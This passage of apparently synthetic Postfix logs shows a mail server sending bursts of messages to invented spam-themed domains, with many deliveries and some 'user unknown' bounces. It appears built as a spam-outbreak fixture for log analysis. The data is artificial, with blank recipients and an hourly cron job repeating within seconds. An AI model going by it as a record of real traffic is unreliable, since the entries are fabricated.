mx.get-rich-quick.org[198.51.100.16] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:55 mail-server postfix/smtp[12430]: 2D8B44F905: to=, relay=mx.get-rich-quick.org[198.51.100.14]:25, delay=5.6, delays=0.1/0/5.4/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.14] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:55 mail-server postfix/smtp[18543]: EB7F63AFB8: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BD6E3D9872) +Aug 26 14:01:55 mail-server postfix/smtp[19703]: 85713C37E9: to=, relay=mx.dodgy-deals.biz[198.51.100.8]:25, delay=7.1, delays=0.1/0/6.9/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.8] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:01:55 mail-server postfix/smtp[19992]: BFF546D825: to=, relay=mx.spam-target.com[198.51.100.5]:25, delay=7.1, delays=0.1/0/6.9/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.5] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:00 mail-server postfix/smtp[13091]: C71D6111BD: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 018BACB471) +Aug 26 14:02:00 mail-server postfix/smtp[15628]: AAD0C74D45: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 25B771C24D) +Aug 26 14:02:00 mail-server postfix/smtp[17367]: 65E6C24361: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4B57F5E5B1) +Aug 26 14:02:00 mail-server postfix/smtp[18137]: 497EED0968: to=, relay=mx.dodgy-deals.biz[198.51.100.8]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 73D865F760) +Aug 26 14:02:00 mail-server postfix/smtp[23718]: BB923C708A: to=, relay=mx.get-rich-quick.org[198.51.100.6]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 326D8F6CCB) +Aug 26 14:02:00 mail-server postfix/smtp[23908]: 957A05EFD5: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 684349D2C1) +Aug 26 14:02:00 mail-server postfix/smtp[24424]: 34EAFEF2D8: to=, relay=mx.get-rich-quick.org[198.51.100.6]:25, delay=4.3, delays=0.1/0/4.1/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.6] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:00 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:02:05 mail-server postfix/smtp[11926]: 3AB93722AC: to=, relay=mx.get-rich-quick.org[198.51.100.1]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DD0A3C9420) +Aug 26 14:02:05 mail-server postfix/smtp[16703]: B425CAB9AE: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5201575EE6) +Aug 26 14:02:05 mail-server postfix/smtp[20611]: D5161D403B: to=, relay=mx.spam-target.com[198.51.100.3]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 00ED7E1802) +Aug 26 14:02:05 mail-server postfix/smtp[21236]: 6C15586DC8: to=, relay=mx.random-emails.net[198.51.100.5]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 36E47C0943) +Aug 26 14:02:05 mail-server postfix/smtp[21407]: 1C32575013: to=, relay=mx.random-emails.net[198.51.100.13]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0876FD6EAE) +Aug 26 14:02:05 mail-server postfix/smtp[23333]: CFE0598E1D: to=, relay=mx.spam-target.com[198.51.100.2]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 08D290388B) +Aug 26 14:02:10 mail-server postfix/smtp[11281]: C2818A064C: to=, relay=mx.random-emails.net[198.51.100.3]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6F04C42F14) +Aug 26 14:02:10 mail-server postfix/smtp[14144]: 6186D2E61B: to=, relay=mx.dodgy-deals.biz[198.51.100.14]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D3F4981704) +Aug 26 14:02:10 mail-server postfix/smtp[20025]: 69A010873E: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2615739B14) +Aug 26 14:02:10 mail-server postfix/smtp[22497]: C805121078: to=, relay=mx.spam-target.com[198.51.100.8]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 974D495D3D) +Aug 26 14:02:10 mail-server postfix/smtp[22769]: F75D178FA1: to=, relay=mx.get-rich-quick.org[198.51.100.15]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A57359B0E3) +Aug 26 14:02:10 mail-server postfix/smtp[24825]: 4DC361FAF9: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 68DF131D01) +Aug 26 14:02:15 mail-server postfix/smtp[15303]: 27105B82DA: to=, relay=mx.spam-target.com[198.51.100.4]:25, delay=4.3, delays=0.1/0/4.1/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.4] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:15 mail-server postfix/smtp[15440]: A7169B2B7B: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.0, delays=0.05/0/0.5/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9CAAE777BD) +Aug 26 14:02:15 mail-server postfix/smtp[16072]: D99D5C4DC3: to=, relay=mx.get-rich-quick.org[198.51.100.14]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A91751F9F) +Aug 26 14:02:15 mail-server postfix/smtp[24839]: 55BCE4FF34: to=, relay=mx.dodgy-deals.biz[198.51.100.3]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0EF9110CC7) +Aug 26 14:02:20 mail-server postfix/smtp[11884]: CCAF22C7E8: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 515DA31701) +Aug 26 14:02:20 mail-server postfix/smtp[12385]: ADF7178565: to=, relay=mx.random-emails.net[198.51.100.17]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5A846B789A) +Aug 26 14:02:20 mail-server postfix/smtp[13137]: EA226B4EAA: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=6.7, delays=0.1/0/6.5/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.9] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:20 mail-server postfix/smtp[14152]: C2B1D5E3AF: to=, relay=mx.dodgy-deals.biz[198.51.100.7]:25, delay=4.0, delays=0.1/0/3.8/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.7] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:20 mail-server postfix/smtp[16631]: 05AF161EB5: to=, relay=mx.dodgy-deals.biz[198.51.100.15]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 813125776D) +Aug 26 14:02:20 mail-server postfix/smtp[20751]: 1F6F335B0F: to=, relay=mx.spam-target.com[198.51.100.4]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 681CD1B260) +Aug 26 14:02:25 mail-server postfix/smtp[12284]: 8FEA579551: to=, relay=mx.get-rich-quick.org[198.51.100.1]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 04614E4395) +Aug 26 14:02:25 mail-server postfix/smtp[13149]: EF4CC342C0: to=, relay=mx.spam-target.com[198.51.100.14]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 67E064ACDB) +Aug 26 14:02:25 mail-server postfix/smtp[15091]: 9D4B5C2932: to=, relay=mx.get-rich-quick.org[198.51.100.19]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 544FF429A9) +Aug 26 14:02:25 mail-server postfix/smtp[16611]: 640B46D4E8: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4E1243F237) +Aug 26 14:02:25 mail-server postfix/smtp[17259]: 52A3B1C66E: to=, relay=mx.spam-target.com[198.51.100.18]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AC21EBCE4A) +Aug 26 14:02:25 mail-server postfix/smtp[23294]: 06DED5BAC5: to=, relay=mx.random-emails.net[198.51.100.14]:25, delay=4.2, delays=0.1/0/4.0/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.14] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:25 mail-server postfix/smtp[23548]: 65B81A93FF: to=, relay=mx.random-emails.net[198.51.100.19]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 404B31CE5F) +Aug 26 14:02:30 mail-server postfix/smtp[11266]: C34C1E6EF7: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=1.0, delays=0.05/0/0.5/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 12C58A0455) +Aug 26 14:02:30 mail-server postfix/smtp[16639]: 37FAAA4818: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A7B06CEC7) +Aug 26 14:02:30 mail-server postfix/smtp[17401]: B57EC4508A: to=, relay=mx.spam-target.com[198.51.100.14]:25, delay=5.2, delays=0.1/0/5.0/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.14] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:30 mail-server postfix/smtp[17976]: B67010649C: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 329920F3DE) +Aug 26 14:02:30 mail-server postfix/smtp[18621]: 2DF049233B: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5DE7ADBEFE) +Aug 26 14:02:30 mail-server postfix/smtp[20670]: 767601F1C6: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3D034F3C92) +Aug 26 14:02:30 mail-server postfix/smtp[20905]: 70C8002601: to=, relay=mx.dodgy-deals.biz[198.51.100.14]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6D5220CD86) +Aug 26 14:02:35 mail-server postfix/smtp[10527]: 3F752C5D48: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=6.3, delays=0.1/0/6.1/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.4] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:35 mail-server postfix/smtp[12341]: 6A3DE6FB50: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FAA97AC5A2) +Aug 26 14:02:35 mail-server postfix/smtp[14271]: 1E8F2E9603: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=1.0, delays=0.05/0/0.5/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 307B0686A3) +Aug 26 14:02:35 mail-server postfix/smtp[14679]: 0B2D926651: to=, relay=mx.get-rich-quick.org[198.51.100.1]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F95A3727C) +Aug 26 14:02:35 mail-server postfix/smtp[15273]: 9CA8F9F251: to=, relay=mx.spam-target.com[198.51.100.15]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1DC1686038) +Aug 26 14:02:35 mail-server postfix/smtp[18528]: 9B5F3ADAF1: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E14B0BFA34) +Aug 26 14:02:40 mail-server postfix/smtp[10648]: 23AE9AFAB6: to=, relay=mx.get-rich-quick.org[198.51.100.9]:25, delay=5.2, delays=0.1/0/5.0/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.9] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:40 mail-server postfix/smtp[15494]: 7ADBABB144: to=, relay=mx.random-emails.net[198.51.100.1]:25, delay=4.1, delays=0.1/0/3.9/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.1] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:40 mail-server postfix/smtp[16763]: 064A451C20: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4DA900125F) +Aug 26 14:02:40 mail-server postfix/smtp[20763]: A43AB1426F: to=, relay=mx.get-rich-quick.org[198.51.100.19]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4FED64D990) +Aug 26 14:02:45 mail-server postfix/smtp[12435]: FAD594DFE6: to=, relay=mx.spam-target.com[198.51.100.5]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D0D144CF19) +Aug 26 14:02:45 mail-server postfix/smtp[15836]: E52FCD4F15: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=6.1, delays=0.1/0/5.9/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.13] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:45 mail-server postfix/smtp[21698]: 30C000D3FA: to=, relay=mx.get-rich-quick.org[198.51.100.3]:25, delay=1.0, delays=0.05/0/0.5/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D350F7D054) +Aug 26 14:02:45 mail-server postfix/smtp[22281]: 320FF28457: to=, relay=mx.get-rich-quick.org[198.51.100.15]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E2548ABF77) +Aug 26 14:02:50 mail-server postfix/smtp[10064]: A5295BDFDB: to=, relay=mx.spam-target.com[198.51.100.9]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 41EDDAC3FF) +Aug 26 14:02:50 mail-server postfix/smtp[12252]: 7BA966B4E5: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7CDD11B5C8) +Aug 26 14:02:50 mail-server postfix/smtp[13400]: B59D63D51A: to=, relay=mx.get-rich-quick.org[198.51.100.19]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9741664AE2) +Aug 26 14:02:50 mail-server postfix/smtp[19214]: D582116345: to=, relay=mx.random-emails.net[198.51.100.11]:25, delay=4.8, delays=0.1/0/4.6/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:02:50 mail-server postfix/smtp[24575]: 5A609B427F: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D6C2E8410E) +Aug 26 14:02:55 mail-server postfix/smtp[12074]: F75BE1DB5A: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 183413A9B3) +Aug 26 14:02:55 mail-server postfix/smtp[17834]: 595F1BD6AD: to=, relay=mx.random-emails.net[198.51.100.2]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C17010CD9B) +Aug 26 14:02:55 mail-server postfix/smtp[19413]: BD378F7290: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8DE0E82EE8) +Aug 26 14:02:55 mail-server postfix/smtp[22673]: 5C66185F75: to=, relay=mx.spam-target.com[198.51.100.11]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E279AD94BA) +Aug 26 14:02:55 mail-server postfix/smtp[23321]: 3647A0B9C1: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 03932DE6EF) +Aug 26 14:03:00 mail-server postfix/smtp[20370]: B2330BB052: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FE02C82A4C) +Aug 26 14:03:00 mail-server postfix/smtp[21384]: A83DEFAC0D: to=, relay=mx.get-rich-quick.org[198.51.100.9]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F441A178DF) +Aug 26 14:03:00 mail-server postfix/smtp[22582]: 36E39A5ADA: to=, relay=mx.spam-target.com[198.51.100.10]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A9DEF854F1) +Aug 26 14:03:05 mail-server postfix/smtp[16865]: 966F701078: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2A483C7A12) +Aug 26 14:03:05 mail-server postfix/smtp[20786]: 6DB64B6E7E: to=, relay=mx.dodgy-deals.biz[198.51.100.15]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 00B6B147B6) +Aug 26 14:03:05 mail-server postfix/smtp[24241]: B54CB2F231: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A682DFE302) +Aug 26 14:03:10 mail-server postfix/smtp[13731]: E5E9C7EC94: to=, relay=mx.dodgy-deals.biz[198.51.100.13]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6BF0226B50) +Aug 26 14:03:10 mail-server postfix/smtp[14367]: BF8DB9FBBC: to=, relay=mx.random-emails.net[198.51.100.15]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5D5BB4607D) +Aug 26 14:03:10 mail-server postfix/smtp[14380]: EDDA88E7C3: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8B59A7FB13) +Aug 26 14:03:15 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:15 mail-server postfix/smtp[13275]: 7E66A9D5D4: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2B8029B358) +Aug 26 14:03:15 mail-server postfix/smtp[13746]: 9A05A642A1: to=, relay=mx.get-rich-quick.org[198.51.100.4]:25, delay=5.3, delays=0.1/0/5.1/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.4] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:03:15 mail-server postfix/smtp[17792]: 17DBA42522: to=, relay=mx.get-rich-quick.org[198.51.100.12]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 00CBE18407) +Aug 26 14:03:15 mail-server postfix/smtp[18563]: ACBC1FBF1A: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F330EE5361) +Aug 26 14:03:15 mail-server postfix/smtp[19874]: 2EAFC295FE: to=, relay=mx.random-emails.net[198.51.100.15]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C8473D08ED) +Aug 26 14:03:20 mail-server postfix/smtp[11958]: 586D081355: to=, relay=mx.random-emails.net[198.51.100.18]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2C5E77E8FE) +Aug 26 14:03:20 mail-server postfix/smtp[14416]: 1D009BEBCD: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F77621230F) +Aug 26 14:03:20 mail-server postfix/smtp[15862]: B9EA49657A: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A003C2C579) +Aug 26 14:03:20 mail-server postfix/smtp[18184]: 3EEB240241: to=, relay=mx.get-rich-quick.org[198.51.100.12]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DC783474B5) +Aug 26 14:03:25 mail-server postfix/smtp[10885]: E33E7B7C88: to=, relay=mx.random-emails.net[198.51.100.1]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F6CE38534) +Aug 26 14:03:25 mail-server postfix/smtp[13336]: 7A097D7FE9: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6CDAAF62A8) +Aug 26 14:03:25 mail-server postfix/smtp[14849]: 96973FD1A7: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5B3C891916) +Aug 26 14:03:25 mail-server postfix/smtp[16842]: 8DD85424BE: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FF2C68A187) +Aug 26 14:03:25 mail-server postfix/smtp[18030]: 4C9629D163: to=, relay=mx.random-emails.net[198.51.100.5]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 92C244813C) +Aug 26 14:03:25 mail-server postfix/smtp[20446]: FBE386EC68: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E10F40558D) +Aug 26 14:03:30 mail-server postfix/smtp[10323]: 0C6FE26331: to=, relay=mx.dodgy-deals.biz[198.51.100.1]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 639C614CC4) +Aug 26 14:03:30 mail-server postfix/smtp[12852]: F42F3D7036: to=, relay=mx.dodgy-deals.biz[198.51.100.17]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6FCAE74025) +Aug 26 14:03:30 mail-server postfix/smtp[12957]: 1EBEA3D047: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1A4BDE2890) +Aug 26 14:03:30 mail-server postfix/smtp[18157]: F1FCCC005A: to=, relay=mx.spam-target.com[198.51.100.16]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5A233A7765) +Aug 26 14:03:30 mail-server postfix/smtp[24828]: A904DD54C7: to=, relay=mx.spam-target.com[198.51.100.18]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EA984B7DE5) +Aug 26 14:03:35 mail-server CRON[6969]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:35 mail-server postfix/smtp[10676]: D9B8BE0306: to=, relay=mx.dodgy-deals.biz[198.51.100.13]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F5F07C626) +Aug 26 14:03:35 mail-server postfix/smtp[11829]: 4B7ACF390E: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6E0451A938) +Aug 26 14:03:35 mail-server postfix/smtp[14934]: 062690E48F: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E058F5747C) +Aug 26 14:03:40 mail-server postfix/smtp[11190]: BD430C5DA3: to=, relay=mx.random-emails.net[198.51.100.4]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 701D9013B9) +Aug 26 14:03:40 mail-server postfix/smtp[18806]: 8EEC71500B: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=5.0, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.18] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:03:40 mail-server postfix/smtp[20538]: FC9C267B44: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 193CF4F8BB) +Aug 26 14:03:40 mail-server postfix/smtp[24307]: F965D1BAB1: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F2A4088F7) +Aug 26 14:03:45 mail-server postfix/smtp[11550]: 5B66E4774D: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B90FE16A5F) +Aug 26 14:03:45 mail-server postfix/smtp[15280]: F200471059: to=, relay=mx.spam-target.com[198.51.100.18]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CE5C9A8E04) +Aug 26 14:03:45 mail-server postfix/smtp[17154]: 23E339227C: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EEE4D8D14B) +Aug 26 14:03:45 mail-server postfix/smtp[18787]: 0BA4B8205B: to=, relay=mx.get-rich-quick.org[198.51.100.11]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EF06EEC857) +Aug 26 14:03:45 mail-server postfix/smtp[20996]: F316A76F01: to=, relay=mx.dodgy-deals.biz[198.51.100.2]:25, delay=7.6, delays=0.1/0/7.4/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.2] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:03:45 